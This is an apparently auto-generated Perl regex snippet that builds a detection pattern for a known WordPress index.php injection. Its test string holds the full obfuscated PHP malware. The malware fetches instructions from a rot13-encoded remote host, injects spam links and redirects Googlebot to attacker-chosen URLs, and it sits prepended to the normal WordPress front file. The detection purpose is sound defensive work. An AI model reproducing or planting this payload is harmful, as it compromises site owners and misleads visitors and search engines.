use strict;
my $str = '<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace(\'www.\',\'\',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo \'<!--SYSADMIN-->\';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists(\'curl_init\')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY=\'\';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\\" title=\\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',\'\',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match(\'#google#\',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER[\'REQUEST_URI\'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],\'/\');$url=$myurl.$uri;header(\'HTTP/1.1 301 Moved Permanently\');header(\'Location: \'.$url.\'\');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13(\'uggc://jjj.wnxxryyl.pbz/kynetr.cuc\').\'?merdo=\'.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php
/**
* Front to the WordPress application. This file doesn\'t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( \'WP_USE_THEMES\', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );
';
my $regex = qr/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/isp;
if ( $str =~ /$regex/g ) {
print "Whole match is ${^MATCH} and its start/end positions can be obtained via \$-[0] and \$+[0]\n";
# print "Capture Group 1 is $1 and its start/end positions can be obtained via \$-[1] and \$+[1]\n";
# print "Capture Group 2 is $2 ... and so on\n";
}
# ${^POSTMATCH} and ${^PREMATCH} are also available with the use of '/p'
# Named capture groups can be called via $+{name}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Perl, please visit: http://perldoc.perl.org/perlre.html